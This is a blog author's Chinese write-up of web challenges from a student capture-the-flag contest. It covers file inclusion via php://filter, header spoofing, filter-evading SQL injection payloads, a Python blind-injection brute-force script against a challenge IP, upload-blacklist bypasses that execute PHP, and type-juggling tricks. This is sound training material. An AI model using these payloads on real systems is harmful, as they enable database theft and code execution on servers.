前段时间新生赛上瘾,这场质量算是最好的(比我学校的高到不知道哪里去了),写了不少题,不过忘记发了,现在补一下有写的就当记录吧。
还有就是那题杂项的one image %3F,官方给的WP写得不清不楚的,群里问也不理人,如果有大哥会做求指导。



include me

hint: index!index!index!

随便点了一下按钮,然后就出来应该lang参数,根据题目,肯定就是文件包含读index了,然后构造payload:
?lang=php://filter/read=convert.base64-encode/resource=index.php


Base64解码后得到flag



where are you from level1

打开题目提示要本地访问

于是在headers加上X-Forwarded-For:127.0.0.1,发现没有用,于是又尝试Client-ip:127.0.0.1
获得flag




where are you from level2

刚刚那道题一样,在headers添加Client-ip:127.0.0.1后,除了会给出flag1,还给了一段代码:

<?php
function getIp(){
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){
        $cip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif(!empty($_SERVER['REMOTE_ADDR'])){
        $cip=$_SERVER['REMOTE_ADDR'];
    }
    else{
        $cip='';
    }
    $cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
    return $cip;
}
 $query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')");

看来是要insert注入了,参数ip是可控的,就是之前的Client-ip,这里替换了一些字符串,可以双写绕过,用括号或/**/替换空格。
由于这里time是会在页面上显示出来的

所以就要将参数time替换成我们的查询语句。
Payload:127.0.0.1',(查询语句))#
后面就是最简单的查询了。
爆库名
Payload:127.0.0.1',(seleselectct/**/group_concat(schema_name)/**/frfromom/**/information_schema.schemata))#

爆表名、字段名:
Payload:
127.0.0.1',(seleselectct/**/group_concat(table_name)/**/frfromom/**/information_schema.tables/**/where/**/table_schema='demo2'))#

127.0.0.1',(seleselectct/**/group_concat(column_name)/**/frfromom/**/information_schema.columns/**/where/**/table_schema='demo2'))#

爆数据:
Payload:
127.0.0.1',(seleselectct/**/group_concat(fl4g)/**/frfromom/**/demo2.flaaag))#




onepiece

hint:是phpstorm,我用了phpstorm
根据提示,看了一下phpstorm在项目目录下生成的文件夹:.idea,然后直接访问

然后在workspace.xml下发现两个目录

UpL0ad.php和README.html
先看看README.html:

然后下载onepiece.zip,解压获得一个加密过的php文件。
用phpjiami解密后,获得源代码明文:

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$flag = "**********";
if (isset($_POST['file'])) {
    $filename = $_POST['file'];
    echo $$filename;
}
?>

显然是刚刚那个上传页面的源代码,echo $$filename,这里需要构造$$filename为flag,POST一个file=flag即可。




yunpan

下面几个片下回来都是葫芦娃,然后打开readme.txt
嘤嘤嘤,我怎么可能直白的把flag.php上传到云盘呢,这下看你怎么拿到flag.php,嘤嘤嘤
提示有flag.php,查看源代码

就是把文件名base64编码一下,可以直接下载一个flag.php回来:



Classic Sqli

query : select user from chal where user='' and pw=''

<?php
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/guest|limit|substr|mid|like|or|char|union|select|greatest|\'|";
$black_list .= "=|_| |in|<|>|-|\.|\(|\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit("Hacker detected!"); 
if(preg_match($black_list, $_GET['pw'])) exit("Hacker detected!"); 

$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'"; 

$result = mysqli_query($link, $query);
$result = mysqli_fetch_array($result);
$admin_pass = mysqli_fetch_array(mysqli_query($link, "select pw from chal where user='admin'"));
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
if($result['user']) echo "<h2>Bonjour!, {$result['user']}</h2>"; 
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){
        echo $flag;
    }
highlight_file(__FILE__); 
?>

在红日安全的文章见过类似的题目。
黑名单有点全,但是依然可以绕过,这里黑名单写得似乎不完整,admin也是被过滤的。常规注释符都不能用了,这里用;%00来注释。
Payload:?user=\&pw=||1;%00
这里需要爆破admin用户的密码才能得到flag,由于一些截取字符串的函数和等号都在黑名单,所以用正则匹配字符串。一开始我是用^来从头匹配字符串,但是发现所有可打印字符都没有结果,所以就反着来,用$来匹配。
稍微改了一下脚本:

import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
    for ch in char_set:
        r = requests.get('http://49.4.68.67:89/?user=\\&pw=||pw/**/regexp/**/"'+(ch+pw[::-1])+'$";%00')
        if 'Bonjour!, admin' in r.text:
            pw += ch
            print(pw[::-1])
            break
    if ch == '_': break
r = requests.get('http://49.4.68.67:89/?user=&pw='+pw[::-1])
print(re.findall('SUCTF{\S{1,50}}',r.text)[0])

结果:



Easy_upload

这题做了个弊秒了,打开/upload/,可以看到别人上传的文件,大部分都没有解析,只有phtml里面不会出现php代码,加上其它没有解析的里面大量出现
<script language="php"></script>

这样的标签,所以基本上就知道题目怎么做了。

题目限制Content-Type只能是png的,文件后缀使用了黑名单,php无法上传,但是phtml可以上传并解析,还检测了文件内容:'&lt;?php' not allowed!,看了一下php版本是5.5.9的,可以用<script language="php"></script>来绕过,于是上传成功

可以运行,然后查看flag.php:



baby upload

文件上传,查看源代码发现有前端验证

并没有什么用,直接传个符合要求的然后抓包就好,顺便也绕过了第二层

然后这里提到黑名单,显然是黑名单不全,改成php5或者phtml都可以绕过,然后就直接给flag了

php is No.1

<?php
include 'flag.php';
isset($_GET['time'])?$time = $_GET['time']:$time = 0;
isset($_GET['num'])?$num = $_GET['num']:$num = 0;
$c=is_numeric($time) and is_numeric($num);
if ($num == 0) {
    if($num){
        if($c){
            if(!is_numeric($time))
                echo 'Time time must be number';
            else if ($time < 60 * 60 * 24 * 30 * 1)
                echo 'This time is too short';
            else if ($time > 60 * 60 * 24 * 30 * 2)
                echo 'This time is too long';
            else{
                sleep((int)$time);
                echo $flag;
            }
        }
        else
            echo 'Try again';
    }
    else
        echo 'Try again';
}
else
    echo 'Try again';
echo '<hr>';
highlight_file(__FILE__);
?>

首先绕过num,既要为0,又要为1,那直接1|0即可。然后是time,如果直接传入符合要求的数字,那么你需要经历一段漫长的sleep才能得到flag,十六进制字符串似乎也行不通,这里可以用科学记数法,当字符串转int的时候,只会截取第一个非数字字符前的数字,所以传入9e99只会sleep(9),这里稍微调整一下数字,最后用0.5e7就过了。
Payload:?time=0.5e7&num=0|1

Last modification:December 4th, 2018 at 09:27 pm
If you think my article is useful to you, please feel free to appreciate